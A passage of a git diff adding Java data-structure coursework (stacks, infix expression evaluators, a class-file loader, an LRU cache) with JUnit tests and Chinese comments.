+	public static void main(String[] args) {
+		ArrayList list = new ArrayList();
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(6, 6);
+		list.remove(3);
+		for (int i = 0; i < list.size(); i++) {
+			System.out.println(i+":"+list.get(i));
+		}
+		
+		Iterator it =  list.iterator();
+		while (it.hasNext()) {
+			System.out.println(it.next());
+		}
+	}
+}
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java
new file mode 100644
index 0000000000..a092602897
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExpr.java
@@ -0,0 +1,74 @@
+package com.coding.basic.stack;
+import java.util.List;
+import java.util.Stack;
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		
+		
+		Stack<Token> opStack = new Stack<>();
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				
+				if(opStack.isEmpty()){
+					
+					opStack.push(token);
+				} else{
+					
+					while(!opStack.isEmpty() 
+							&& !token.hasHigherPriority(opStack.peek())){
+						Token prevOperator = opStack.pop();
+						Float f2 = numStack.pop();
+						Float f1 = numStack.pop();
+						Float result = calculate(prevOperator.toString(), f1,f2);
+						numStack.push(result);						
+						
+					}
+					opStack.push(token);
+				}
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		while(!opStack.isEmpty()){
+			Token token = opStack.pop();
+			Float f2 = numStack.pop();
+			Float f1 = numStack.pop();
+			numStack.push(calculate(token.toString(), f1,f2));
+		}
+		
+		
+		return numStack.pop().floatValue();
+	}
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+
+	
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java
new file mode 100644
index 0000000000..7774cf98b0
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/InfixExprTest.java
@@ -0,0 +1,47 @@
+package com.coding.basic.stack;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java
new file mode 100644
index 0000000000..f51a971a1c
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/Iterator.java
@@ -0,0 +1,8 @@
+package com.coding.basic.stack;
+
+public interface Iterator {
+	
+	public boolean hasNext();
+	public Object next();
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/List.java b/group17/102228177/work4_16/src/com/coding/basic/stack/List.java
new file mode 100644
index 0000000000..2d2c693e0d
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/List.java
@@ -0,0 +1,10 @@
+package com.coding.basic.stack;
+
+public interface List {
+	
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java
new file mode 100644
index 0000000000..42b6362e2f
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/Stack.java
@@ -0,0 +1,48 @@
+package com.coding.basic.stack;
+
+import java.util.EmptyStackException;
+
+public class Stack {
+	private ArrayList elementData;
+	private int elementCount;
+	
+	public Stack() {
+		this.elementData = new ArrayList();
+		this.elementCount = 0;
+	}
+	public void push(Object o){
+		elementData.add(o);
+		elementCount++;
+	}
+	
+	public Object pop(){
+		Object object = elementData.remove(elementCount-1);
+		elementCount--;
+		return object;
+	}
+	
+	public Object peek(){
+		if(isEmpty()){
+			 throw new EmptyStackException();
+		}
+		return elementData.get(elementCount-1);
+	}
+	public boolean isEmpty(){
+		return elementCount==0;
+	}
+	public int size(){
+		return elementCount;
+	}
+	
+	@Override
+	public String toString() {
+		StringBuilder sb = new StringBuilder();
+		sb.append("[");
+		for (int i = 0; i < elementData.size(); i++) {
+			sb.append(elementData.get(i)).append(",");
+		}
+		sb = sb.deleteCharAt(sb.length()-1);
+		sb.append("]");
+		return sb.toString();
+	}
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java b/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..33fd75f6f1
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,66 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(!s.isEmpty()){
+			Object last = getBottom(s,s.pop());
+			reverse(s);
+			s.push(last);
+		}
+	}
+	
+	private static Object getBottom(Stack s,Object t){
+		if(s.isEmpty()){
+			return t;
+		}
+		Object last = getBottom(s, s.pop());
+		s.push(t);
+		return last;
+	}
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		return null;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		return false;
+	}
+	
+	public static void main(String[] args) {
+		Stack stack = new Stack();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		reverse(stack);
+		System.out.println(stack);
+	}
+	
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java b/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java
new file mode 100644
index 0000000000..364fe104f5
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/Token.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java b/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java
new file mode 100644
index 0000000000..c45a23aed1
--- /dev/null
+++ b/group17/102228177/work4_16/src/com/coding/basic/stack/TokenParser.java
@@ -0,0 +1,56 @@
+package com.coding.basic.stack;
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
\ No newline at end of file
diff --git a/group17/1158154002/.classpath b/group17/1158154002/.classpath
index 2d7497573f..44f39c3ace 100644
--- a/group17/1158154002/.classpath
+++ b/group17/1158154002/.classpath
@@ -3,5 +3,7 @@
 	<classpathentry kind="src" path="src"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
+	<classpathentry kind="lib" path="D:/java/jar/commons-lang3-3.5.jar"/>
+	<classpathentry kind="lib" path="D:/java/jar/commons-io-2.1.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group17/1158154002/src/test04/loader/ClassFileLoader.java b/group17/1158154002/src/test04/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..0f144fbb43
--- /dev/null
+++ b/group17/1158154002/src/test04/loader/ClassFileLoader.java
@@ -0,0 +1,61 @@
+package test04.loader;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+
+public class ClassFileLoader {
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	
+	public byte[] readBinaryCode(String className) {
+		className=className.replace(".", File.separator)+".class";
+		for (String path : clzPaths) {
+			String clzFileName=path+File.separator+className;
+			byte[] codes=loadClassFile(clzFileName);
+			if (codes!=null) {
+				return codes;
+			}
+		}
+		return null;	
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		File file=new File(clzFileName);
+		try {
+			return IOUtils.toByteArray(new FileInputStream(file));
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			return null;
+		}
+
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if (this.clzPaths.contains(path)) {
+			return;
+		}
+		this.clzPaths.add(path);
+	}
+	
+	public String getClassPath_V1(){
+		
+		return  null;
+	}
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+}
diff --git a/group17/1158154002/src/test04/loader/ClassFileloaderTest.java b/group17/1158154002/src/test04/loader/ClassFileloaderTest.java
new file mode 100644
index 0000000000..8897e72c91
--- /dev/null
+++ b/group17/1158154002/src/test04/loader/ClassFileloaderTest.java
@@ -0,0 +1,84 @@
+package test04.loader;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ClassFileloaderTest {
+
+	static String path1 = "D:/mygit/coding2017/group17/1158154002/bin/";
+	static String path2 = "file:/";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		System.out.println(clzPath);
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "test04.loader.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1036, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "test04.loader.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group17/1158154002/src/test04/loader/EmployeeV1.java b/group17/1158154002/src/test04/loader/EmployeeV1.java
new file mode 100644
index 0000000000..b646aac4c3
--- /dev/null
+++ b/group17/1158154002/src/test04/loader/EmployeeV1.java
@@ -0,0 +1,28 @@
+package test04.loader;
+
+public class EmployeeV1 {
+	private String name;
+	private int age;
+
+	public EmployeeV1(String name, int age) {
+		this.name = name;
+		this.age = age;
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setAge(int age) {
+		this.age = age;
+	}
+
+	public void sayHello() {
+		System.out.println("Hello , this is class Employee ");
+	}
+
+	public static void main(String[] args) {
+		EmployeeV1 p = new EmployeeV1("Andy", 29);
+		p.sayHello();
+	}
+}
diff --git a/group17/1158154002/src/test04/lru/LRUPageFrame.java b/group17/1158154002/src/test04/lru/LRUPageFrame.java
new file mode 100644
index 0000000000..e5662dc2ac
--- /dev/null
+++ b/group17/1158154002/src/test04/lru/LRUPageFrame.java
@@ -0,0 +1,112 @@
+package test04.lru;
+
+/**
+ * 用双向链表实现LRU算法
+ * @author 
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+		Node() {}
+		
+		Node(Node prev,Node next,int pageNum){
+			this.prev=prev;;
+			this.next=next;
+			this.pageNum=pageNum;
+		}
+	}
+
+	private int capacity;
+	private int currentSize;
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param key
+	 * @return
+	 */
+	public void access(int pageNum) {
+		if (currentSize<capacity) {
+			if(last==null){
+				last=new Node();
+				last.pageNum=pageNum;
+			}else{
+				addToFirst(pageNum);
+			}
+			currentSize++;
+		} else {
+			Node node=last;
+			while (node!=null&&node.pageNum!=pageNum) {
+				node=node.prev;
+			}
+			//没有找到,添加到头部，删除最后一个,找到了并且不是第一个删除当前节点，添加到头部
+			if (node==null) {
+				addToFirst(pageNum);
+				removeLast();
+			}else if(node!=first) {				
+				addToFirst(pageNum);
+				remove(node);
+			}
+
+		}
+
+
+	}
+
+	private void remove(Node node){
+			if (node.next!=null&&node.prev!=null) {
+				node.prev.next=node.next;
+				node.next.prev=node.prev;
+				node=null;
+			} else if(node.next==null){
+				removeLast();
+			}
+	}
+	
+	private void removeLast(){
+		Node temp=last.prev;
+		temp.next=null;
+		last=temp;
+}
+	
+	private void addToFirst(int pageNum) {
+		Node next=last;
+		while (next.prev!=null) {
+			next=next.prev;
+		}
+		first=new Node(null, next, pageNum);
+		next.prev=first;
+	}
+	
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
\ No newline at end of file
diff --git a/group17/1158154002/src/test04/lru/LRUPageFrameTest.java b/group17/1158154002/src/test04/lru/LRUPageFrameTest.java
new file mode 100644
index 0000000000..f63ce0bc32
--- /dev/null
+++ b/group17/1158154002/src/test04/lru/LRUPageFrameTest.java
@@ -0,0 +1,29 @@
+package test04.lru;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
\ No newline at end of file
diff --git a/group17/1158154002/src/test05/stack/Stack.java b/group17/1158154002/src/test05/stack/Stack.java
new file mode 100644
index 0000000000..177a330f7c
--- /dev/null
+++ b/group17/1158154002/src/test05/stack/Stack.java
@@ -0,0 +1,43 @@
+package test05.stack;
+
+import java.util.ArrayList;
+
+public class Stack<T> {
+	private ArrayList<T> elementData = new ArrayList<T>();
+	
+	public void push(T o){	
+		elementData.add(o);
+	}
+	
+	public T pop(){
+		return elementData.remove(size()-1);
+	}
+	
+	public T peek(){
+		if (size()>0) {
+			return elementData.get(size()-1);		
+		} else {
+			return null;
+		}
+
+	}
+	
+	public boolean isEmpty(){
+		return elementData.size()==0;
+	}
+	
+	public int size(){
+		return elementData.size();
+	}
+	
+	@Override
+	public String toString() {
+		StringBuffer sb=new StringBuffer();
+		while (peek()!=null) {
+			sb.append(pop()).append(",");
+		}
+
+		return sb.substring(0, sb.length()-1);
+	}
+
+}
diff --git a/group17/1158154002/src/test05/stack/StackTest.java b/group17/1158154002/src/test05/stack/StackTest.java
new file mode 100644
index 0000000000..a5d6b39344
--- /dev/null
+++ b/group17/1158154002/src/test05/stack/StackTest.java
@@ -0,0 +1,52 @@
+package test05.stack;
+
+import java.util.Arrays;
+
+import org.junit.Test;
+
+public class StackTest {
+	@Test
+	public void testReverse(){
+		Stack<Integer> stack=new Stack<Integer>();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		
+		StackUtil.reverse(stack);
+		System.out.println(stack.toString());
+	}
+	
+	@Test
+	public void testRemove(){
+		Stack stack=new Stack();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		
+		StackUtil.remove(stack,3);
+		System.out.println(stack.toString());
+	}
+	//isValidPairs
+	@Test
+	public void testGetTop(){
+		Stack stack=new Stack();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+
+		System.out.println(Arrays.toString(StackUtil.getTop(stack,6)));
+		System.out.println(stack.toString());
+	}
+	
+	@Test
+	public void testIsValidPairs(){
+		System.out.println(StackUtil.isValidPairs("([e{d}f])"));
+		System.out.println(StackUtil.isValidPairs("([b{x]y})"));
+	}
+}
diff --git a/group17/1158154002/src/test05/stack/StackUtil.java b/group17/1158154002/src/test05/stack/StackUtil.java
new file mode 100644
index 0000000000..2904bec41c
--- /dev/null
+++ b/group17/1158154002/src/test05/stack/StackUtil.java
@@ -0,0 +1,151 @@
+package test05.stack;
+
+
+
+public class StackUtil {
+	/**
+	 * 假设栈中的元素是T, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param <T>
+	 */
+	public static <T> void reverse(Stack<T> s) {
+			Stack<T> temp=new Stack<T>();
+			while (s.peek()!=null) {
+				temp.push(s.pop());
+			}
+			Stack<T> temp2=new Stack<T>();
+			while (temp.peek()!=null) {
+				temp2.push(temp.pop());
+			}
+			while (temp2.peek()!=null) {
+				s.push(temp2.pop());
+			}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		Stack temp=new Stack();
+		while (s.peek()!=null) {
+			Object obj=s.pop();
+			if (!obj.equals(o)) {
+				temp.push(obj);	
+			}
+		}
+		while (temp.peek()!=null) {
+			s.push(temp.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 * @throws Exception 
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if (len<=s.size()) {
+			Stack temp=new Stack();
+			Object[] result=new Object[len];
+			for (int i = 0; i < s.size(); i++) {
+				Object o=s.pop();
+				temp.push(o);
+				if (i<len) {
+					result[i]=o;
+				}
+			}
+			while (temp.peek()!=null) {
+				s.push(temp.pop());
+			}
+			return result;
+		} else {
+			throw new IndexOutOfBoundsException("len 大于实际长度！");
+		}
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+//	public static boolean isValidPairs(String s) {
+//		Stack s1 = new Stack();
+//		for (int i = 0; i < s.length(); i++) {
+//			char c = s.charAt(i);
+//			if (c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}') {
+//				s1.push(c);
+//			}
+//		}
+//
+//		Stack s2 = new Stack();
+//		for (int i = s.length() - 1; i >= 0; i--) {
+//			char c = s.charAt(i);
+//			if (c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}') {
+//				s2.push(c);
+//			}
+//		}
+//
+//		for (int i = 0; i < s1.size() / 2; i++) {
+//			char a = (char) s1.pop();
+//			char b = (char) s2.pop();
+//			if (a == '(' && b != ')') {
+//				return false;
+//			} else if (a == ')' && b != '(') {
+//				return false;
+//			} else if (a == '[' && b != ']') {
+//				return false;
+//			} else if (a == ']' && b != '[') {
+//				return false;
+//			} else if (a == '{' && b != '}') {
+//				return false;
+//			} else if (a == '}' && b != '{') {
+//				return false;
+//			}
+//		}
+//
+//		return true;
+//	}
+	
+public static boolean isValidPairs(String s){
+		
+		Stack<Character> stack = new Stack<Character>();
+		for(int i=0;i<s.length();i++){
+			char c = s.charAt(i);
+			
+			if(c == '(' || c =='[' || c == '{'){
+				
+				stack.push(c);
+				
+			} else if( c == ')'){
+				
+				char topChar = stack.pop();
+				if(topChar != '('){
+					return false;
+				}
+				
+			} else if( c == ']'){
+				
+				char topChar = stack.pop();
+				if(topChar != '['){
+					return false;
+				}
+					
+			} else if( c == '}'){
+				
+				char topChar = stack.pop();
+				if(topChar != '{'){
+					return false;
+				}
+				
+			}
+		}
+		return stack.size() == 0;
+	}
+
+}
diff --git a/group17/1158154002/src/test06/expr/InfixExpr.java b/group17/1158154002/src/test06/expr/InfixExpr.java
new file mode 100644
index 0000000000..78f23b79c4
--- /dev/null
+++ b/group17/1158154002/src/test06/expr/InfixExpr.java
@@ -0,0 +1,92 @@
+package test06.expr;
+
+import java.util.Arrays;
+
+import test05.stack.Stack;
+import test05.stack.StackUtil;
+
+public class InfixExpr {
+	String expr = null;
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		String[] str = expr.split("\\+|\\-|\\*|\\/");
+		System.out.println(Arrays.toString(str));
+
+		Stack<Character> symbol = new Stack<>();
+		Stack<Float> num = new Stack<>();
+
+		for (int i = 0; i < str.length; i++) {
+			num.push(Float.valueOf(str[i]));
+		}
+		
+		for (int i = 0; i < expr.length(); i++) {
+			char c = expr.charAt(i);
+			if (c == '+' || c == '-' || c == '*' || c == '/') {
+				symbol.push(c);
+			}
+		}
+		// 逆置
+		StackUtil.reverse(symbol);
+		StackUtil.reverse(num);
+
+		// 取数，符号计算
+		float result = 0;
+		while (num.size() > 1) {
+			float a = num.pop();
+			float b = num.pop();
+
+			char s1 = symbol.pop();
+			char s2 = ' ';
+			if (symbol.size() > 0) {
+				s2 = symbol.pop();
+				if (s1 == '*') {
+					result = a * b;
+					symbol.push(s2);
+				} else if (s1 == '/') {
+					result = a / b;
+					symbol.push(s2);
+				} else if (s2 != ' ') {
+					if (s2 == '*' || s2 == '/') {
+						if (s2 == '*') {
+							result = b * num.pop();
+						} else if (s2 == '/') {
+							result = b / num.pop();
+						}
+						if (s1 == '+') {
+							result = a + result;
+						} else if (s1 == '-') {
+							result = a - result;
+						}
+					} else {
+						if (s1 == '+') {
+							result = a + b;
+							symbol.push(s2);
+						} else if (s1 == '-') {
+							result = a - b;
+							symbol.push(s2);
+						}
+					}
+				}
+				num.push(result);
+				System.out.println(result);
+			} else {
+				if (s1 == '+') {
+					result = a + b;
+				} else if (s1 == '-') {
+					result = a - b;
+				} else if (s1 == '*') {
+					result = a * b;
+				} else if (s1 == '/') {
+					result = a / b;
+				}
+				System.out.println(result);
+			}
+		}
+
+		return result;
+	}
+}
diff --git a/group17/1158154002/src/test06/expr/InfixExprTest.java b/group17/1158154002/src/test06/expr/InfixExprTest.java
new file mode 100644
index 0000000000..5c03c1a06d
--- /dev/null
+++ b/group17/1158154002/src/test06/expr/InfixExprTest.java
@@ -0,0 +1,45 @@
+package test06.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class InfixExprTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+//		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+	
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/InfixToPostfix.java b/group17/1158154002/src/test07/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..e88f211eb8
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/InfixToPostfix.java
@@ -0,0 +1,56 @@
+package test07.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import test05.stack.Stack;
+
+public class InfixToPostfix {
+	// 2+3*4-8/2 2 3 4 * + 8 2 / -
+	// 2+3*4-8/2+3
+	// 2+3*4*5*5-8/2 2 3 4 * 5 * 5 * + 8 2 / -
+	// 2+3*4*5*5-8/2/2 2 3 4 * 5 * 5 * + 8 2 / -
+	public static List<Token> convert(String expr) {
+
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		List<Token> result = new ArrayList<Token>();
+
+		Stack<Token> opStack = new Stack<>();
+		for (Token token : tokens) {
+
+			if (token.isOperator()) {
+
+				if (opStack.isEmpty()) {
+					opStack.push(token);
+				} else {
+
